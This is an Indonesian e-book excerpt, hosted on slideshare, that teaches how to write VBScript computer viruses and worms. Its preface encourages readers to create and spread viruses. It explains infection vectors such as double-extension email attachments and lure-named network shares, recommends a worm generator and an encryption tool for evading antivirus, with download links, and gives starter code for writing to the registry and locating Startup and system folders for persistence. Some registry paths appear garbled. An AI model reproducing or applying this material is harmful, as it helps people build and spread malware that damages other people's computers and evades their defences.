Pemrograman Virus Menggunakan VBScript

75 %
25 %
Information about Pemrograman Virus Menggunakan VBScript
Books

Published on February 20, 2014

Author: wahyuprimadi

Source: slideshare.net

Description

Pemrograman Virus Menggunakan VBScript (Virus Programming using VBScript)

BO Bimbingan Orang Tua Pemrograman Virus Menggunakan VBScript Oleh : Wahyu Primadi, S.Kom, S.Met © 2006. Wahyu Utilities. i

BO Bimbingan Orang Tua Editorial Pemrograman Virus Menggunakan VBScript Copyright © 2006. Wahyu Utilities. All Rights Reserved. No parts of this work may be reproduced in any form or by any means (graphic, electronic, or mechanical, including photocopying, recording, taping, or information storage and retrieval systems) without the written permission of the publisher. Products that are referred to in this document may be either trademarks and/or registered trademarks of the respective owners. The publisher and the author make no claim to these trademarks. While every precaution has been taken in the preparation of this document, the publisher and the author assume no responsibility for errors or omissions, or for damages resulting from the use of information contained in this document or from the use of programs and source code that may accompany it. In no event shall the publisher and the author be liable for any loss of profit or any other commercial damage caused or alleged to have been caused directly or indirectly by this document. Printed: June 2006 in Wahyu Utilities Laboratory of Sickness. Author : Special Thanks To : Wahyu Primadi, S.Kom, S.Met Publisher : Wahyu Utilities Managing Editor : Wahyu Primadi, S.Kom, S.Met Technical Editor : Wahyu Primadi, S.Kom, S.Met Cover Designer : Wahyu Primadi, S.Kom, S.Met Bokin Gue [Lastrie, Amd], Komputer Gue [Lisa], Almarhum Kucing Gue [Manis], Kucing Gue [Orange], Semua TemenTemen Residivis di STMIK Proactive Yogyakarta, Semua Temen-Temen di STMIK Sinar Nusantara Surakarta, Semua Temen-Temen di Bekasi, Semua TemenTemen di Yogyakarta, Semua TemenTemen di Surakarta – Solo, Semua Temen-Temen yang Pernah Gue Infeksi Komputernya, Semua Temen-Temen Nongkrong, Semua Temen-Temen Coding, dan Semua Mantan Cewek-Cewek Gue… Website : http://www.wahyuprimadi.com Mobile Web : http://mobile.wahyuprimadi.com i

BO Bimbingan Orang Tua Tentang Penulis Wahyu Primadi, S.Kom, S.Met, adalah seorang anak muda yang bandel, n’dablek dan penyayang kucing. Menamatkan kuliah komputer jurusan Sistem Informasi pada bulan Februari 2005. Semasa kuliah sering terlibat beberapa aksi massa dan organisasi radikal yang kerap menjadi pihak oposisi dan sering melakukan perlawanan-perlawanan pada suatu keadaan dan keputusan yang merugikan dan menindas rakyat banyak. Sering meneriakan “KUDETA”. Beberapa kali terlibat kasus yang berakhir di Polsek TangenSragen, Polwil Solo, Poltabes Yogyakarta, dan bahkan pernah berakhir di Koramil Tambun-Bekasi ☺. Berkenalan dengan dunia komputer sejak tahun 2000 dan bahasa pemrograman yang dikuasai adalah ASP (Active Server Pages), PHP, VBScript, Java Script, Gambas (Linux), BASH Scripting (Linux), Microsoft Visual Basic 6.0, Microsoft Visual Basic .NET dan database yang pernah saya gunakan adalah Microsoft Access Database, MySQL, Microsoft SQL Server 2000, dan Microsoft SQL Server Desktop Engine. Saya dapat dikontak melalui e-mail di : • webmaster@wahyuprimadi.com • admin@wahyuprimadi.com • wprimadi@gmail.com • wprimadi@yahoo.com • wahyu@programmer.net 1

BO Bimbingan Orang Tua Kata Pengantar Puji syukur saya panjatkan kepada ALLAH SWT yang telah memberikan kekuatan dan niat “jahat” dalam menyusun e-book ini hingga bisa hadir dihadapan pembaca yang mempunyai pemikiran “menyimpang”. E-book ini ditulis sebagai referensi terhadap pengguna komputer yang memang belum memahami apa itu virus dan bagaimana cara membuatnya. Terlepas dari permasalahan tersebut, pada dasarnya e-book ini dibuat untuk mereka yang sudah mengerti akan bahasa pemrograman dan konsep pemrograman khususnya bahasa Visual Basic atau VBScript. Dengan e-book ini diharapkan dapat dijadikan solusi pembelajaran dan pengetahuan buat mereka yang tadinya tidak mengerti apa itu virus komputer dan cara membuatnya menjadi mengerti, serta diharapkan dapat mengubah cara pandang serta paradigma berfikir dalam menyikapi virus komputer tersebut dan tidak lagi menjadikan virus komputer sebagai momok yang menakutkan namun menjadikannya “mainan” serta bahan pembelajaran. Ok, selamat membaca, mencoba dan membuat serta sebarkan “firman-firman” kalian dalam virus ke seluruh umat. Solo, 13 Agustus 2006 Penulis Wahyu Primadi, S.Kom, S.Met 2

BAB 1 Pengenalan VBScript dan Virus Untuk dapat mengikuti dan memahami tutorial ini anda minimal sudah harus mengerti bahasa Visual Basic (Visual Basic 6.0, VBScript, atau Visual Basic for Application) dan memahami konsep pemrograman (dengan Visual Basic). 1.1 Pengertian VBScript VBScript merupakan kepanjangan dari Visual Basic Script yang mana masih merupakan bagian keluarga dari bahasa pemrograman Visual Basic. Lalu apakah sebenarnya VBScript tersebut? Untuk menjawab pertanyaan tersebut ada baiknya kita menyimak definisi dari VBScript menurut Microsoft berikut : Microsoft® Visual Basic® Scripting Edition, a subset of the Microsoft® Visual Basic® programming language, is a fast, portable, lightweight interpreter for use in World Wide Web browsers and other applications that use Microsoft® ActiveX® Controls, Automation servers, and Java applets. Pada dasarnya VBScript merupakan sebuah bahasa pemrograman script (scripting language) yang dijalankan oleh sebuah interpreter. Windows Scripting Host (WSH – wscript.exe) adalah salah satu program yang berperan sebagai interpreter dari VBScript yang bertugas menjalankan dan mengeksekusi script-script VBScript. Script VBScript dapat “ditempelkan” pada sebuah halaman web atau menjadi sebuah file yang independent (berdiri sendiri) yang biasanya memiliki ekstensi file *.VBS. Seperti telah dijelaskan diatas, Windows Scripting Host merupakan interpreter VBScript yang menjalankan script-script VBScript yang disimpan pada file *.VBS tadi. Jadi, tanpa Windows Scripting Host, VBScript tidak akan dapat berjalan. Penjelasan mengenai Windows Scripting Host akan dibahas terpisah pada sub-bab selanjutnya. 3

1.2 Mengapa VBScript ? VBScript dipilih karena kemudahan pemahaman bahasanya dan tingkat flaksibilitasnya yang tinggi diatas platform sistem operasi Microsoft Windows. VBScript merupakan scripting language yang dapat dijalankan / dieksekusi secara langsung tanpa perlu melakukan kompilasi. Disamping itu semua, VBScript dapat memanfaatkan semua fasilitas, sumber daya, komponen dan objek yang terdapat pada sistem operasi Microsoft Windows. Walaupun VBScript merupakan sebuah script namun dalam penggunaannya VBScript dapat disisipi dengan file binary seperti file executable (*.EXE) ataupun file gambar. Masih ingat virus-virus seperti VBS.LoveLetter, VBS.Redlof, VBS.AnnaKournikova dan lainnya, kesemua virus tersebut ditulis menggunakan bahasa scripting VBScript. 1.3 Definisi Virus Karena tidak adanya pendefinisian yang baku mengenai virus komputer, penulis akan mengacu pada pendefinisian virus menurut Fred Cohen, seorang pakar virus komputer yang mendefinisikan virus komputer sebagai berikut : "A COMPUTER VIRUS is a computer program that can infect other computer programs by modifying them in such a way as to include a (possibly evolved) copy of itself. Note that a program does not have to perform outright damage (such as deleting or corrupting files) in order to to be called a "virus". However, Cohen uses the terms within his definition (e.g. "program" and "modify") a bit differently from the way most anti-virus researchers use them, and classifies as viruses some things which most of us would not consider viruses." Dari definisi tersebut dapat dikatakan bahwa virus komputer adalah sebuah program komputer yang memiliki kemampuan menggandakan diri, menginfeksi file atau program lain dengan dirinya sendiri atau karakter byte acak (random), mengganggu 4

kinerja dari sebuah sistem komputer, kehadirannya tidak disadari dan yang jelas tidak diinginkan ☺. Dari penjelasan diatas, penulis harap anda dapat menggambarkan sendiri tentang apakah virus tersebut. Karena pemahaman tentang virus tersebut adalah sebuah modal dasar untuk mempelajari, memahami, membuat, memprogram, dan mencegah virus untuk menginfeksi komputer anda. 1.4 Windows Scripting Host Windows Scripting Host adalah sebuah program yang berfungsi sebagai interpreter dari VBScript dalam lingkungan sistem operasi Microsoft Windows. Secara default, Windows Scripting Host akan ikut terinstall saat anda menginstall sistem operasi Microsoft Windows atau menginstall browser Internet Explorer versi 5 keatas. Anda dapat memeriksa apakah Windows Scripting Host sudah terinstall pada sistem Windows anda dengan cara mengetikan perintah “wscript.exe” pada dialogbox run melalui menu “Start > Run”. Gambar 1.1: DialogBox Run Jika setelah mengetikan perintah “wscript.exe” tersebut tampil dialog setting Windows Scripting Host (lihat gambar 1.2) maka Windows Scripting Host telah terdapat dan terinstall pada Windows anda. Sebenarnya Windows Scripting Host memiliki dua buah file inti yaitu wscript.exe dan cscript.exe, dimana wscript.exe digunakan untuk mengeksekusi script VBScript pada lingkungan Windows, 5

sedangkan cscript.exe dapat digunakan untuk melakukan eksekusi script VBScript pada lingkungan DOS. Gambar 1.2: DialogBox Setting Windows Scripting Host 1.5 Peralatan yang Dibutuhkan Untuk membuat program dengan VBScript yang dalam pembahasan ini adalah pemrograman virus, VBScript tidak membutuhkan peralatan atau tools yang anehaneh atau rumit. Anda hanya perlu sebuah text editor, notepad pada windows misalnya, untuk mulai menuliskan script-script VBScript anda. Jika notepad dirasa kurang memenuhi kebutuhan anda, anda dapat menggunakan sebuah editor yang memang dirancang khusus sebagai editor VBScript yaitu Adersoft VbsEdit yang dapat di-download melalui http://www.adersoft.com/vbsedit. program tersebut merupakan program shareware yang tidak gratis tapi crack-nya tersedia di internet. Fenomena penampakan dari editor ini dapat anda lihat pada gambar 1.3 berikut : 6

Gambar 1.3: Program Adersoft VbsEdit Selain itu juga terdapat beberapa tool program untuk menunjang pembuatan virus menggunakan VBScript yang penulis sebut sebagai “Tools Dari Neraka” yang dapat digunakan untuk membuat virus dengan menggunakan bahasa VBScript dan menghindari deteksi scan antivirus, akan tetapi sabar dulu ya. Tools tersebut akan dibahas pada bab berikutnya. 1.6 Script “Hello World” Sebelum melangkah kepembahasan selanjutnya kita akan mencoba membuat sebuah script program sederhana. Adapun script program yang akan kita buat adalah sebuah program yang memunculkan MessageBox “Hello World” dan contoh scriptnya adalah sebagai berikut : Dim strPesan strPesan = "Hello World" MsgBox strPesan, VBInformation, "Percobaan" Tulis script program tersebut dengan menggunakan editor text misalnya notepad dan simpan hasilnya dengan ekstensi file *.VBS, pada contoh ini file script bernama “hello-world.vbs” sehingga memiliki icon file bergambar seperti huruf “S” dengan warna biru kehijau-hijauan seperti pada gambar berikut : 7

Gambar 1.4: Icon File VBS Pada tahap ini program sudah selesai dan yang perlu anda lakukan adalah menjalankan file script program tersebut. Untuk menjalankan script tersebut hanya cukup melakukan klik ganda (double click) pada file script tersebut di Windows Explorer dan hasilnya akan menampilkan sebuah MessageBox seperti terlihat pada gambar berikut : Gambar 1.5: MessageBox “Hello World” 1.7 Teknologi Antivirus Memang tidak bisa dipungkiri lagi, kendala yang sering timbul dalam membuat virus adalah antivirus yang selalu dapat mendeteksi kehadiran sebuah virus bahkan mungkin virus yang belum dikenalnya (belum terdaftar di-database antivirus tersebut) dengan menggunakan teknologi Heuristic Scanning dan belum lagi teknologi Script Blocking serta teknologi SandBox yang saat ini mulai ramai dibicarakan. Hal tersebut merupakan hambatan terbesar yang sering terjadi dalam membuat virus. Namun jangan patah semangat dulu, seperti telah penulis katakan sebelumnya, keadaan ini dapat diakali dengan menggunakan tool-tool khusus yang penulis sebut dengan “Tools Dari Neraka” yang akan dibahas pada bab berikutnya. 8

BAB 2 Terminologi Virus Pada bab sebelumnya telah disinggung mengenai definisi virus secara garis besar dan pada bab ini akan dibahas mengenai terminologi virus, jenis-jenis virus, teknik-teknik virus dan teknologi yang biasa digunakan virus dalam melancarkan aksinya. 2.1 Bagaimana Virus Menyebar ? Pada dasarnya virus dapat menyebar dan memasuki atau menginfeksi sistem kita dengan berbagai cara, metode dan media. Adapun media-media yang sering dimanfaatkan untuk penyebaran virus adalah : • Disket / Floppy Disk / CD / Flash Disk Walaupun sekarang sudah jamannya internet (seperti kata Telkom : “Internet mau datang… Pake sendal biar gak kesetrum”) namun masih banyak virus yang berkeliaran (khususnya virus lokal, yang beredar di Indonesia) memanfaatkan media ini terutama disket dan flash disk untuk menyebarkan dirinya sendiri dan menginfeksi komputer lain. • Internet Semenjak internet populer dan digunakan oleh banyak orang, banyak pula virus yang memanfaatkan media internet untuk menyebarkan dirinya. Seperti pada pokok pembahasan kita kali ini “Pemrograman Virus Menggunakan VBScript”, karena VBScript dapat ditempelkan berdampingan dengan HTML maka tidak menutup kemungkinan jika anda dapat terinfeksi ketika sedang browsing di internet dan membuka halaman web. Bukannya saya nakut-nakutin, akan tetapi sebuah kelompok security lokal pernah ada yang membuat Generator Virus (berbasis HTML) VBScript untuk ditempelkan pada halaman web (HTML). 9

• Email Virus menyebar melalui email dengan memanfaatkan fasilitas attachment yang terdapat pada email tersebut. Umumnya virus yang menyebar melalui email ini bersifat executable (dapat dieksekusi langsung) seperti file *.EXE, *.COM, *.VBS dan lainnya yang sejenis. Untuk mengelabuhi pengguna biasanya file virus menggunakan nama file dengan ekstensi ganda seperti: “FotoCewek.jpg.exe”. • Network (Jaringan) Seperti media lainnya, media jaringan pun tak luput dari target serangan virus. Telah banyak pula virus yang memanfaatkan media jaringan dan umumnya dengan media ini virus dapat dengan cepat “berkembang biak” pada setiap komputer yang terhubung ke jaringan tersebut. Tekniknya adalah sebagai berikut, virus menginfeksi satu komputer dalam sebuah jaringan dan membuat folder pada komputer tersebut lalu meng-copy-kan dirinya kedalam folder tersebut, kemudian virus akan mengeset folder tersebut sebagai folder share yang dapat diakses dalam sebuah jaringan dengan nama folder yang mengundang rasa penasaran orang untuk membukanya dan menjalankan file virus didalamnya. 2.2 Jenis-Jenis Virus Ada banyak sekali jenis virus yang beredar saat ini. Jenis-jenis virus ini dibedakan berdasarkan atas karakteristik virus, tipe virus, metode infeksi yang digunakan, ruang gerak virus, dan masih banyak lagi yang lainnya. Jenis-jenis virus tersebut diantaranya adalah sebagai berikut : • System Sector Virus System sector virus atau yang biasa disebut dengan nama boot sector virus atau virus boot sector adalah sebuah virus yang menginfeksi DOS boot sector atau Master Boot Record (MBR – juga dikenal dengan nama Partition Sectors). Virus boot sector menginfeksi boot sector dengan cara menuliskan dirinya 10

sendiri atau berupa perintah yang mengarak ke dirinya sendiri ke boot sector dari suatu disk (seperti harddisk dan disket) yang mana secara otomatis akan diakses oleh sistem saat disk tersebut diakses. • Virus File Virus ini biasanya berupa program executable dan biasanya juga akan menginfeksi file-file executable seperti file-file dengan ekstensi *.EXE atau *.COM dengan cara menuliskan dirinya sendiri pada bagian atas (header / BOF) dari file yang akan diinfeksi, sehingga saat anda menjalankan file program tersebut, virus akan berjalan lebih dulu dan setelah virus selesai menjalankan aksinya barulah dia menjalankan program aslinya. • Macro Virus Virus macro adalah sebuah virus yang berbentuk script visual basic yang biasanya disebut dengan script Visual Basic for Application (VBA). Virus ini menginfeksi dan “menempel” pada dokumen Microsoft Word, Microsoft Excel, dan dokumen Microsoft Office lainnya. Target utama dari serangan virus ini adalah menginfeksi file “Normal.dot” yang merupakan file template untuk aplikasi Microsoft Word, baru setelah tujuan tersebut tercapai selanjutnya dia akan menginfeksi dokumen-dokumen yang dibuka pada melalui template “Normal.dot” tadi. Jadi untuk menghentikan aksi virus jenis ini dapat dilakukan dengan cara menghapus file “Normal.dot” yang ditemukan dan setelah itu jalankan aplikasi Microsoft Word yang secara otomatis akan membuat file “Normal.dot” yang baru dan bersih. Namun file-file dokumen lainnya yang telah terinfeksi akan tetap terinfeksi. • Companion Virus Virus jenis ini dapat menginfeksi sebuah file *.EXE tanpa mengubah satu byte pun pada file *.EXE tersebut. Kok bisa ??? mungkin anda bertanya-tanya bagaimana caranya. Pada dasarnya virus ini hanya menumpang berjalan dengan 11

file *.EXE tersebut dengan cara membuat sebuah file *.COM dengan nama yang sama dengan file *.EXE tersebut dan dalam folder yang sama pula. Sebagai contoh, jika anda mempunyai sebuah file *.EXE bernama “program.exe” maka virus tersebut akan membuat file dengan nama “program.com” yang berada satu folder dengan file “program.exe” tersebut. File “program.com” tersebut adalah virusnya. Seperti diketahui bahwa DOS akan menjalankan file *.COM sebelum akhirnya menjalankan file *.BAT lalu menjalankan file *.EXE dengan nama yang sama yang berada dalam satu folder yang sama. Kira-kira begitu urutannya (itu juga kalo saya tidak lupa ☺). Untuk menghapusnya tentu anda sudah tahu bukan? ya, cukup hapus file *.COM yang memiliki nama yang sama dengan dengan file *.EXE, namun hati-hati dalam menghapusnya karena belum tentu file *.COM yang memiliki nama yang sama dengan file *.EXE adalah sebuah virus. • Visual Basic Worm He… he… he… inilah target pembelajaran kita ☺. Virus jenis ini biasa disebut dengan nama Visual Basic Worm atau Visual Basic Script Worm atau VBScript Worm. Disebut demikian karena dibuat dengan menggunakan bahasa Visual Basic Script (VBS) yang biasanya berupa source code / script (kode sumber / kode program) walaupun sering juga ada yang dalam bentuk terenkripsi (tersandi). Seperti telah dijelaskan dalam bab sebelumnya, bahwa Visual Basic Script atau VBScript dijalankan dengan bantuan Windows Scripting Host sebagai interpreter-nya. Virus jenis inilah yang akan kita bahasa dan pelajari dalam ebook ini. 12

• Polymorphic Virus Polymorphic virus adalah sebuah virus yang memiliki kemampuan untuk mengubah struktur dirinya sendiri setiap kali melakukan infeksi. Virus jenis ini sulit sekali untuk dideteksi dengan menggunakan metode scanning biasa dan metode checksum karena setiap copy dari virus akan tampak berbeda dari copy lainnya. • Stealth Virus Virus jenis ini dinamakan dengan nama pesawat tempur buatan amerika, yaitu stealth. Virus ini dalam menjalankan aksinya akan mengambil alih fungsi-fungsi sistem. • Multipartite Virus Virus jenis ini merupakan gabungan dari virus file dan virus system sector (boot sector). Virus ini dapat menginfeksi file dan dapat juga menginfeksi system sector. 2.3 Tools Dari Neraka Di internet terdapat banyak sekali tool-tool yang dapat membantu kita dalam membuat dan mempelajari virus, terutama virus VBScript. Beberapa diantaranya adalah : • VBSWG (Visual Basic Script Worm Generator) Download URL Download URL : http://www.kvirii.com.ar Ukuran File • : http://www.virii.com.ar : ± 118 Kb Kefi’s VBS Encryption Engine Download URL : http://vx.netlux.org/~kefi Ukuran File : ± 29 Kb 13

VBSWG merupakan sebuah Worm Generator yaitu sebuah program pembuat virus (worm) VBScript. VBSWG dibuat dengan menggunakan Microsoft Visual Basic. Karena dalam distribusinya tidak disertakan Microsoft Visual Basic RunTime Library, maka anda perlu men-download file RunTime Visual Basic tersebut dari http://www.microsoft.com atau dapat di-download juga dari website penulis di http://www.wahyuprimadi.com/download/20012006214446_vb6rt.exe jika belum memiliki. Gambar 2.1: VBSWG (Visual Basic Script Worm Generator) Sedangkan KVEE (Kefi’s VBS Encryption Engine) merupakan sebuah program yang berguna untuk melakukan enkripsi (penyandian) script VBScript dengan berbagai metode yang disediakan. Sampai saat tulisan ini ditulis (08 Juni 2006) belum ada satu pun antivirus yang dapat mendeteksi virus VBScript yang dienkripsi menggunakan KVEE. Program ini nantinya dapat digunakan sebagai salah satu perlengkapan perang kita ☺. 14

Gambar 2.2: KVEE (Kefi’s VBS Encryption Engine) Selain itu di internet masih banyak tersedia tool-tool yang berhubungan dengan pembahasan kita kali ini. Namun untuk tool-tool yang lain tersebut anda harus mencarinya sendiri di internet. Usaha dong… males banget sih…!!! ☺ 2.4 PayLoad Virus Payload virus disini dapat diartikan sebagai aksi yang akan dilakukan oleh virus. Aksi tersebut dapat berupa aksi yang sederhana yaitu hanya menampilkan pesan sampai aksi yang benar-berar parah dan merusak seperti menghapus file-file dokumen pada komputer host. Yang menentukan aksi dari virus tersebut tentunya adalah pembuatnya (programmer-nya) dan biasanya aksi dari virus memiliki pemicu (trigger) untuk menjalankan aksi tersebut saat pemicu tersebut terpicu (triggered). Pemicu tersebut dapat berupa tanggal, waktu, event tertentu dan lain sebagainya. Contoh algoritma penggunaan payload dan trigger yang sederhana adalah sebagai berikut, jika tanggal sistem menunjukan tanggal satu maka tampilkan pesan dan setelah direspon shutdown komputer. 15

BAB 3 Dasar Pemrograman Virus Pada bab ini kita akan mulai melangkah ke inti permasalahan yaitu pemrograman virus dengan menggunakan VBScript. Namun dalam bab ini baru akan dibahas dasar pemrogramannya saja sedangkan untuk pemrograman virus tingkat lanjut akan dibahas pada bab berikutnya. Seperti telah disebutkan sebelumnya, salah satu syarat untuk memahami e-book ini adalah sudah mengerti bahasa pemrograman Visual Basic atau VBScript. Jika anda belum mengerti bahasa tersebut belajar dulu baru mebaca bab ini ☺. 3.1 Metode yang Dimiliki Virus Dalam setiap aksinya sebuah virus memiliki beberapa metode untuk melancarkan setiap aksinya. Metode tersebut dapat berupa aksi untuk menggandakan diri, aksi menyebar, aksi menulis ke registry, dan aksi-aksi yang lainnya. Untuk dapat membuat virus yang sukses, sebagai programmer virus kita harus benar-benar memperhitungkan apa yang akan dilakukan user. Maksudnya adalah apa yang akan membuat user tertarik sehingga menjalankan virus kita dengan atau tanpa sadar, apa yang akan dilakukan user ketika user tersebut sadar bahwa dia terinfeksi, apa yang akan dilakukan user untuk menghapus virus dari sistemnya, dan lain sebagainya. Hal-hal seperti itulah yang perlu diperhatikan demi menjamin kelangsungan hidup virus yang anda buat. Dengan memiliki pemikiran demikian diharapkan anda sudah mempunyai tidakan pencegahan berupa sebuah algoritma dan logika yang tertanam pada virus jika suatu ketika ada user yang sadar telah terinfeksi dan ingin menghapus virus anda. 3.2 Baca Tulis Registry Windows Membaca dan menulis ke sistem registry Windows merupakan hal yang sangat penting dalam aktivitas virus saat menjalankan aksinya. Untuk itu sebelum 16

melangkah lebih jauh, terlebih dahulu akan diberikan contoh dan penjelasan tentang bagaimana caranya membaca dan menulis ke registry Windows. Agar lebih mudah berikut akan diberikan contoh programnya : 'Program Baca Tulis Registry Dim Tanda Dim ObjReg Set ObjReg = CreateObject("WScript.Shell") 'Baca Dari Registry Tanda = ObjReg.RegRead("HKLMSoftwareVBS.TweetyInfeksi") 'Tulis ke Registry ObjReg.RegWrite "HKLMSoftwareVBS.TweetyProgrammer", "Wahyu" Pada script diatas berisi contoh program bagaimana membaca dan menulis ke registry Windows. Berikut akan diberikan penjelasan script tersebut diatas barisperbaris : • 'Program Baca Tulis Registry Baris kode tersebut merupakan sebuah komentar. Dimana sebuah komentar diawali dengan tanda kutip tunggal (') dan komentar tersebut tidak akan diproses oleh interpreter (gak ngaruh ke program). • Dim Tanda Baris script tersebut merupakan deklarasi variabel dimana perintah “Dim” merupakan perintah untuk pendeklarasian variabel dan perintah “Tanda” adalah variabel yang ingin dideklarasikan. • Dim ObjReg Sama, Merupakan perintah untuk pendeklarasian variabel. “ObjReg” adalah variabel yang ingin dideklarasikan. 17

• Set ObjReg = CreateObject("WScript.Shell") Perintah tersebut berfungsi untuk mengeset (mengisi) variabel “ObjReg” sebagai objek dari Windows Scripting Host Shell yang ditandai dengan perintah “WScript.Shell”. Dengan demikian variabel “ObjReg” akan memiliki fungsifungsi shell Windows Scripting Host didalamnya yang dapat anda gunakan yang pada contoh script diatas adalah baca dan tulis ke registry Windows (RegRead dan RegWrite). • 'Baca Dari Registry Baris tersebut merupakan komentar, terserah anda mau tulis kata-kata apa (tetep gak ngaruh). Ingat komentar selalu diawali dengan tanda KUTIP TUNGGAL ('). Jadi jika ada perintah yang diawali dengan tanda kutip tungga berarti perintah tersebut merupakan sebuah komentar dan tidak akan diproses. • Tanda = ObjReg.RegRead("HKLMSoftwareVBS.TweetyInfeksi") Perintah tersebut berfungsi untuk mengisi variabel “Tanda” dengan value dari registry yang dipilih (HKLMSoftwareVBS.TweetyInfeksi) yang telah ada sebelumnya, dimana “HKLM” merupakan salah satu Key Root pada registry. Jika value registry tersebut belum ada pada registry maka akan menyebabkan runtime-error dan program berhenti. • 'Tulis ke Registry Ini juga merupakan komentar. • ObjReg.RegWrite "HKLMSoftwareVBS.TweetyProgrammer", "Wahyu" Fungsi tersebut berfungsi untuk menuliskan nilai value ke registry Window yang pada contoh tersebut akan menuliskan value berupa “Wahyu” pada key “HKLMSoftwareVBS.TweetyProgrammer”. Dimana “HKLM” merupakan salah satu Key Root registry. 18

Gambar 3.1: Registry Editor – Menulis ke Registry Pada script diatas telah dijelaskan cara membaca dan menulis value pada registry, namun yang belum dijelaskan adalah bahwa pada registry terdapat beberapa Root Key dan pada contoh diatas hanya menggunakan satu Root Key yaitu HKLM (HKEY_LOCAL_MACHINE). Berikut akan diberikan daftar Root Key yang terdapat pada registry : • HKCR : HKEY_CLASSES_ROOT • HKCU : HKEY_CURRENT_USER • HKLM : HKEY_LOCAL_MACHINE • HKU : HKEY_USERS • HKCC : HKEY_CURRENT_CONFIG Gambar 3.2: Daftar Root Key pada Registry Untuk penulisannya, anda dapat menuliskan singkatannya (misal: HKLM) atau kepanjangannya (misal: HKEY_LOCAL_MACHINE). Namun untuk dua Root Key 19

terakhir terkadang anda harus menuliskan kepanjangannya karena biasanya akan menyebabkan runtime-error pada program yang disebabkan sistem tidak mengenali singkatan tersebut. PERHATIAN…!!! Bermain-main dengan registry rentan dengan bahaya. Sebelum mulai bermain dengan registry usahakan untuk mem-backup registry Windows anda agar jika terjadi sesuatu hal yang tidak diinginkan anda dapat me-restore-nya kembali. Karena jika terjadi kesalahan dapat menyebabkan sistem Windows menjadi error atau bahkan tidak dapat berjalan sama sekali…!!! 3.3 Mendapatkan Special Folder Dalam pemrograman virus dengan VBScript fungsi Special Folder sering kali digunakan. Kegunaan dari fungsi ini adalah untuk mendapatkan folder-folder system Windows, seperti folder Windows, folder WindowsSystem, dan folder WindowsTemp. Fungsi tersebut sering digunakan untuk melakukan peng-copy-an atau pembuatan back-up file virus ke folder-folder system tersebut. Berikut adalah contoh penggunaannya : Dim Target Dim FSO Dim FolderLain Set FSO = CreateObject("Scripting.FileSystemObject") Set FolderLain = CreateObject("WScript.Shell") 'Windows Folder : Target = FSO.GetSpecialFolder(0) 'Windows System Folder : Target = FSO.GetSpecialFolder(1) 'Windows Temp Folder : Target = FSO.GetSpecialFolder(2) 20

'Folder Desktop Target = FolderLain.SpecialFolders("Desktop") 'Folder All Users Start Menu Target = FolderLain.SpecialFolders("AllUsersStartMenu") 'Folder Start Menu Programs Target = FolderLain.SpecialFolders("Programs") 'Folder My Documents Target = FolderLain.SpecialFolders("MyDocuments") 'Folder StartUp Start Menu Target = FolderLain.SpecialFolders("Startup") 'Folder All Users Programs Start Menu Target = FolderLain.SpecialFolders("AllUsersPrograms") 'Folder All Users StartUp Start Menu Target = FolderLain.SpecialFolders("AllUsersStartup") 'Folder Favorites Target = FolderLain.SpecialFolders("Favorites") 'Folder AppData Target = FolderLain.SpecialFolders("AppData") 'Folder Recent Target = FolderLain.SpecialFolders("Recent") 'Alamat Path Script : Target = WScript.ScriptFullName Dimana penjelasan dari script tersebut adalah sebagai berikut : 21

• Dim Target Baris script tersebut merupakan deklarasi variabel dimana variabel yang dideklarasikan bernama “Target”. • Dim FSO Sama seperti baris sebelumnya, baris ini juga merupakan deklarasi variabel dan variabel yang dideklarasikan bernama “FSO”. • Dim FolderLain Juga sama seperti baris sebelumnya, baris ini merupakan deklarasi variabel dan variabel yang dideklarasikan bernama “FolderLain”. • Set FSO = CreateObject("Scripting.FileSystemObject") Pada baris ini variabel “FSO” yang telah dideklarasikan sebelumnya diset atau diisi sebagai objek “Scripting.FileSystemObject”. • Set FolderLain = CreateObject("WScript.Shell") Pada beris ini variabel “FolderLain” yang telah dideklarasikan sebelumnya diset atau diisi sebagai objek “WScript.Shell”. • Target = FSO.GetSpecialFolder(0) Baris ini mengisi variabel “Target” (yang sebelumnya telah dideklarasikan pada baris pertama) dengan sebuah value berupa alamat path folder Windows. Penulis menggunakan sistem operasi Microsoft Windows XP SP2 dan menginstalnya ke folder “C:Windows”, sehingga jika script tersebut dijalankan pada komputer penulis maka variabel “Target” akan berisi “C:Windows”. • Target = FSO.GetSpecialFolder(1) Sama seperti baris sebelumnya, hanya saja perintah ini akan menghasilkan alamat path dari folde system Windows. Jika script tersebut dijalankan pada komputer penulis maka variabel “Target” akan berisi “C:Windowssystem32”. • Target = FSO.GetSpecialFolder(2) Masih sama seperti baris sebelumnya, hanya saja perintah ini akan menghasilkan alamat path dari folder temp Windows. Jika script tersebut dijalankan pada komputer penulis maka variabel “Target” akan berisi “C:DOCUME~1WAHYUP~1LOCALS~1Temp” yang merupakan short 22

filename dari “C:Documents and SettingsWahyu PrimadiLocal SettingsTemp”. • Target = FolderLain.SpecialFolders("Desktop") Perintah pada baris ini akan menghasilkan alamat path folder “Desktop”. Jika script tersebut dijalankan variabel “Target” akan berisi alamat path folder “Desktop”. • Target = FolderLain.SpecialFolders("AllUsersStartMenu") Perintah pada baris ini akan menghasilkan alamat path folder “Start Menu” untuk seluruh user (All Users). • Target = FolderLain.SpecialFolders("Programs") Baris perintah ini akan menghasilkan alamat path folder “Programs” pada Start Menu untuk user yang sedang aktif (Current User). • Target = FolderLain.SpecialFolders("MyDocuments") Baris perintah ini akan menghasilkan alamat path folder “My Documents” dari user yang sedang aktif (Current User). • Target = FolderLain.SpecialFolders("Startup") Perintah ini akan menghasilkan alamat path folder “Startup” pada Start Menu dari user yang sedang aktif (Current User). • Target = FolderLain.SpecialFolders("AllUsersPrograms") Perintah ini akan menghasilkan alamat path folder “Programs” pada Start Menu untuk seluruh user (All Users). • Target = FolderLain.SpecialFolders("AllUsersStartup") Baris perintah ini akan menghasilkan alamat path folder “Startup” pada Start Menu untuk seluruh user (All Users). • Target = FolderLain.SpecialFolders("Favorites") Baris perintah ini akan menghasilkan alamat path folder “Favorites” dari user yang sedang aktif (Current User). • Target = FolderLain.SpecialFolders("AppData") Perintah ini akan menghasilkan alamat path folder “Application Data” dari user yang sedang aktif (Current User). 23

